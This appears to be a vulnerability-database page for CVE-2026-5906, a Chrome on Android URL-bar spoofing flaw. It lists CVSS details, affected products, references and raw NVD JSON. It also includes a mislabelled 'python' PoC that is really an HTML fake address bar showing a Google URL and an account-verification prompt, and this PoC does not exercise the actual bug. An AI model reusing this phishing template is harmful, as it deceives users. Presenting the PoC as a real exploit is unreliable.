CVE-2026-5906

Description

Incorrect security UI in Omnibox in Google Chrome on Android prior to 147.0.7727.55 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Android < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-5906: Conceptual Spoofing -->
<!-- This PoC demonstrates how a crafted page might attempt to spoof the Omnibox UI. -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5906 PoC</title>
    <style>
        body { margin: 0; overflow: hidden; background-color: #fff; }
        .spoof-bar {
            position: fixed;
            top: 0; left: 0; right: 0;
            height: 40px;
            background-color: #f1f3f4;
            border-bottom: 1px solid #ddd;
            display: flex;
            align-items: center;
            padding-left: 10px;
            font-family: sans-serif;
            font-size: 14px;
            z-index: 9999;
        }
        .lock-icon { color: #5f6368; margin-right: 5px; }
        .url-text { color: #202124; }
        .content { margin-top: 50px; padding: 20px; }
    </style>
</head>
<body>
    <!-- Simulated Omnibox -->
    <div class="spoof-bar">
        <span class="lock-icon">🔒</span>
        <span class="url-text">https://www.google.com/security-check</span>
    </div>

    <div class="content">
        <h1>Security Check</h1>
        <p>Please verify your account.</p>
    </div>

    <script>
        // Logic to potentially trigger the rendering issue or enhance the spoof
        console.log("PoC for Omnibox UI Spoofing executed.");
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5906
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5906
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5906/
[4] VulDB https://vuldb.com/cve/CVE-2026-5906
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/484082189

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5906", "sourceIdentifier": "[email protected]", "published": "2026-04-08T22:16:30.490", "lastModified": "2026-04-14T14:51:10.977", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect security UI in Omnibox in Google Chrome on Android prior to 147.0.7727.55 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "147.0.7727.55", "matchCriteriaId": "9A68673A-1331-48AF-8860-53064F0AF310"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/484082189", "source": "[email protected]", "tags": ["Permissions Required"]}]}}